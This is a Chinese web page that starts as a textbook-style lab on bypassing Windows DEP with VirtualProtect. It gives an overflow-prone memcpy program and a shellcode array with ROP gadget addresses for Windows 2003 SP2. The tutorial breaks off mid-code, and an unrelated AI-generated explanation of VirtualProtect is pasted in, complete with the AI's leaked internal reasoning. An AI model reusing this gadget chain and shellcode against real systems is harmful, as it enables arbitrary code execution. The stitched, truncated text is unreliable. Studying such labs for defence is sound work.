VirtualProtect函数

绕过DEP保护机制
本文介绍如何通过构造特定的shellcode绕过Data Execution Prevention(DEP)保护机制,利用VirtualProtect函数将内存区域设置为可执行状态,实现任意代码执行。

首先我们来看看MSDN上对VirtualProtect函数的说明。

 
  1. BOOL VirtualProtect(  
  2.   LPVOID lpAddress,  
  3.   DWORD dwSize,  
  4.   DWORD flNewProtect,  
  5.   PDWORD lpflOldProtect  
  6. );  

各参数的意义为:

lpAddress,要改变属性的内存起始地址。

dwSize,要改变属性的内存区域大小。

flNewProtect,内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行。

pflOldProtect,内存原始属性类型保存地址。

修改内存属性成功时函数返回非0,修改失败时返回0。

如果我们能够按照如下参数布置好栈帧的话就可以将shellcode所在内存区域设置为可执行模式。

 
  1. BOOL VirtualProtect(  
  2.    shellcode所在内存空间起始地址,  
  3.    shellcode大小,  
  4.    0x40,   
  5.    某个可写地址  
  6. ;  

这里有两个问题需要注意。

(1)参数中包含0x00,strcpy在复制字符串的时候会被截断,所以我们不能攻击strcpy函数,本次实验中我们改为攻击memcpy函数。

(2)对shellcode所在内存空间起始地址的确定,不同机器之间shellcode在内存中的位置可能会有变化,本次实验中我们采用一种巧妙的栈帧构造方法动态确定shellcode所在内存空间起始地址。

我们将用如下代码演示如何布置栈帧,并利用VirtualProtect函数将shellcode所在内存区域设置为可执行状态,进而执行shellcode。

 
  1. #include<stdlib.h> 
  2. #include<string.h> 
  3. #include<stdio.h> 
  4. #include<windows.h> 
  5. charshellcode[]=  
  6. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
  7. "……"  
  8. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
  9. "\x90\x90\x90\x90"  
  10. "\x8A\x17\x84\x7C"  //pop eax retn  
  11. "\x0A\x1A\xBF\x7C"  //pop pop pop retn  
  12. "\xBA\xD9\xBB\x7C"  //修正EBP  
  13. "\x8B\x17\x84\x7C"  //RETN  
  14. "\x90\x90\x90\x90"  
  15. "\xBF\x7D\xC9\x77"  //push esp jmp eax  
  16. "\xFF\x00\x00\x00"  //修改内存大小  
  17. "\x40\x00\x00\x00"  //可读可写可执行内存属性代码  
  18. "\xBF\x7D\xC9\x77"  //push esp jmp eax  
  19. "\x90\x90\x90\x90"  
  20. "\x90\x90\x90\x90"  
  21. "\xE8\x1F\x80\x7C"  //修改内存属性  
  22. "\x90\x90\x90\x90"  
  23. "\xA4\xDE\xA2\x7C"  //jmp esp  
  24. "\x90\x90\x90\x90"  
  25. "\x90\x90\x90\x90"  
  26. "\x90\x90\x90\x90"  
  27. "\x90\x90\x90\x90"  
  28. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"  
  29. "……"  
  30. "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"  
  31. ;  
  32. voidtest()  
  33. {  
  34.       charstr[176];  
  35.       memcpy(str,shellcode,420);  
  36. }  
  37. intmain()  
  38. {  
  39.       HINSTANCEhInst = LoadLibrary("shell32.dll");  
  40.       chartemp[200];  
  41.       test();  
  42. return 0;  
  43. }  

对实验思路和代码简要解释如下。

(1)为了更直观地反映绕过DEP的过程,我们在本次实验中不启用GS和SafeSEH。

(2)函数test存在一个典型的溢出,通过向str复制超长字符串造成str溢出,进而覆盖函数返回地址。

(3)覆盖掉函数返回地址后,通过Ret2Libc技术,利用VirtualProtect函数将shellcode所在内存区域设置为可执行模式。

(4)通过push esp jmp eax指令序列动态设置VirtualProtect函数中的shellcode所在内存起始地址以及内存原始属性类型保存地址。

(5)内存区域被设置成可执行模式后shellcode就可以正常执行了。

实验环境如表12-3-2所示。

表12-3-2  实验环境

 

推荐使用的环境

备    注

操作系统

Windows 2003 SP2

 

DEP状态

Optout

 

编译器

VC++ 6.0

 

编译选项

禁用优化选项

 

build版本

release版本

 

首先我们来看看VirtualProtect函数的具体实现。如图12.3.17所示,VirtualProtect只是相当于做了一次中转,通过将进程句柄、内存地址、内存大小等参数传递给VirtualProtectEx函数来设置内存的属性。我们不妨选择0x7C801FE8作为切入点,按照函数要求将栈帧布置好后转入0x7C801FE8处执行设置内存属性过程。

 
图12.3.17  VirtualProtect函数具体实现过程

通过图12.3.17我们还可以看出从EBP+8到EBP+18这16个字节空间中存放着设置内存属性所需要的参数。[EBP+C]和[EBP+10]这两个参数是固定的,我们可以直接在shellcode中设置;但[EBP+8]和[EBP+14]这两个参数是需要动态确定的,要保证第一个参数可以落在我们可以控制的堆栈范围内,第二个参数要保证为一可写地址,我们布置shellcode的重点也就放在这两个参数上边。

由于EBP在溢出过程中被破坏,所以我们需要对EBP进行修复,首先我们用PUSH ESP POP EBP RETN 4指令的地址覆盖test函数的返回地址,shellcode如下所示。

 
  1. char shellcode[]=  
  2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
  3. "……"  
  4. "\x90\x90\x90\x90"  
  5. "\xBA\xD9\xBB\x7C"//修正EBP  

<think> 首先,用户的问题是:“我想获取VirtualProtect函数的详细解释”。这是在询问VirtualProtect函数的详细含义、用法和相关细节。 回顾系统级指令: - 所有行内数学表达式必须使用$...$格式。 - 独立公式必须使用$$...$$格式并单独成段。 - LaTeX语法正确。 - 使用中文回答。 - 生成相关问题。 - 回答中引用的段落末尾自然地添加引用标识,例如:[^1]。 此外,用户提供了几个引用: - 引用[1]: 描述VirtualProtect函数作为中转,调用VirtualProtectEx,并提到一个切入点。 - 引用[2]: 一个代码示例,展示VirtualProtect的使用,修改内存属性。 - 引用[3]: 定义VirtualProtect是Win32函数的包装,改变内存保护属性。 - 引用[4]: 提到flNewProtect参数与VirtualAlloc冲突时被忽略。 用户说:“上述引用仅供参考,并不是用户真正的需求,请尽可能多的参考用户上一次的问题和你的回答。” 但在这个对话中,我没有看到用户上一次的问题。查看对话历史: - 用户的消息是:[system instructions] then the references and then “我想获取VirtualProtect函数的详细解释”。 - 之前没有其他用户消息;这是我的第一次响应。 所以,我需要基于当前的查询和提供的引用回答。 结构化回答: 1. 介绍VirtualProtect函数:它是Windows API的一部分,用于更改内存页的保护属性。 2. 详细解释参数: - lpAddress: 指向内存基址的指针。 - dwSize: 要更改的内存大小(字节)。 - flNewProtect: 新的保护属性常量(如PAGE_EXECUTE_READWRITE)。 - lpflOldProtect: 指向存储旧保护属性的变量。 3. 功能:允许修改内存区域的权限,例如使代码可执行或数据可写。 4. 注意事项:如引用中提到的,更改可能影响相邻页,参数冲突等。 5. 代码示例:参考引用[2],显示实际用法。 6. 引用标识:在回答中自然地添加引用标记。 响应结构: - 清晰、逐步解释。 - 使用中文。 - 最后生成相关问题。 生成相关问题:基于主题,如: 1. VirtualProtect函数的常见错误? 2. 如何安全地使用VirtualProtect? 3. VirtualProtect与其他内存函数的关系? 4. 在实际应用中VirtualProtect的用例? 确保LaTeX:这个主题没有数学表达式,所以可能不需要数学格式。但如果有任何公式,要使用$...$。 完整响应: - 开头解释函数。 - 详细参数描述。 - 使用示例。 - 注意事项。 - 结尾相关问题。 </think> ### VirtualProtect函数详细解释 VirtualProtectWindows操作系统提供的一个核心API函数,属于Win32内存管理API的一部分。它用于动态修改进程虚拟地址空间中已分配的页内存区域的保护属性(例如,使内存可执行或可写)。这在系统编程、安全工具开发(如反病毒软件或调试器)中非常有用,允许程序在运行时调整内存权限以适应代码注入、动态补丁等需求[^1][^3]。以下是函数的详细解析,包括参数、功能和注意事项。 #### 函数原型与参数 VirtualProtect函数原型如下(基于Win32 API): ```c BOOL VirtualProtect( LPVOID lpAddress, // 指向内存基址的指针 SIZE_T dwSize, // 要修改的内存区域大小(单位:字节) DWORD flNewProtect, // 新的内存保护属性常量 PDWORD lpflOldProtect // 指向存储旧保护属性的变量 ); ``` - **lpAddress [in]**:这是一个指针,指向要修改保护属性的内存区域的起始地址。例如,在代码中直接指定栈区或常量区的地址(如`char* p = "Helloworld"`)[^2][^3]。 - **dwSize [in]**:指定要修改的内存区域大小(以字节为单位)。但需注意,Windows以页为单位(通常4KB)管理内存,因此修改小区域(如2字节)可能导致整个页的属性改变。例如,设置`dwSize = 5`可能会影响整个内存页[^1][^3]。 - **flNewProtect [in]**:新的内存保护属性常量,定义了内存的访问权限。常见常量包括: - `PAGE_READONLY`:只读。 - `PAGE_READWRITE`:可读写。 - `PAGE_EXECUTE_READ`:可执行和读取。 - `PAGE_EXECUTE_READWRITE`:可执行、读写(常用于动态代码执行)。 如果此参数与之前通过`VirtualAlloc`分配内存时设置的保护属性冲突,系统可能忽略此修改[^3][^4]。 - **lpflOldProtect [out]**:指向一个`DWORD`类型的变量,用于接收修改前的旧保护属性值。程序可借此恢复原有权限(例如,在临时修改后还原安全状态)[^2][^3]。 #### 功能与工作原理 - **核心功能**:VirtualProtect更改指定内存区域的保护属性,使程序能动态调整内存行为。例如,默认栈区内存不可执行(防止缓冲区溢出攻击),但通过设置`PAGE_EXECUTE_READWRITE`,可以使栈上的代码可执行,便于动态加载shellcode[^2]。 - **实现机制**:在内部,VirtualProtect通常作为“中转”函数调用更底层的`VirtualProtectEx`函数(需指定进程句柄)。例如,在地址`0x7C801FE8`处执行时,它将参数传递给内核层进行属性更新[^1]。函数返回`BOOL`值:成功返回非零(TRUE),失败返回零(FALSE);失败时可调用`GetLastError()`获取错误码。 - **常见用例**: - 使常量区(如字符串)可写:例如,引用[2]中通过`VirtualProtect(p2, 4, PAGE_EXECUTE_READWRITE, &Old)`修改常量区属性,从而允许写入`p2[8] = 'W'`。 - 启用代码执行:如将函数指针指向栈内存并执行(`fun = (FUN)&p; fun();`)[^2]。 - 安全应用:在反调试中临时修改内存权限以隐藏代码。 #### 注意事项 1. **页边界问题**:内存保护以页为单位,修改小区域可能意外改变相邻页的属性。例如,更改2字节内存可能导致两个页同时更新[^3]。 2. **参数冲突**:如果`flNewProtect`与`VirtualAlloc`初始设置冲突(如从只读改为可执行),系统可能忽略请求[^4]。 3. **安全风险**:错误使用可能导致安全漏洞(如使恶意代码可执行)。建议在修改后立即还原属性或使用结构化异常处理(SEH)。 4. **性能影响**:频繁调用可能引发页面错误,影响性能;最好在初始化阶段批量设置。 #### 代码示例 参考引用[2],以下C++代码演示了VirtualProtect的基本用法: ```cpp #include <windows.h> int main() { char* constantData = "Helloworld"; // 常量区(默认只读) char stackData[100]{0}; // 栈区(默认可读写不可执行) DWORD oldProtect = 0; // 使栈区可执行(常用于动态代码加载) VirtualProtect(stackData, 5, PAGE_EXECUTE_READWRITE, &oldProtect); // 现在stackData可执行:fun = (void(*)())&stackData; fun(); // 使常量区可写(默认不可写) VirtualProtect(constantData, 4, PAGE_EXECUTE_READWRITE, &oldProtect); constantData[8] = 'W'; // 成功写入(否则会引发访问违规) return 0; } ``` 此代码展示了如何修改栈区和常量区的保护属性,但实际使用时需添加错误检查(如验证返回值)[^2][^3]。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值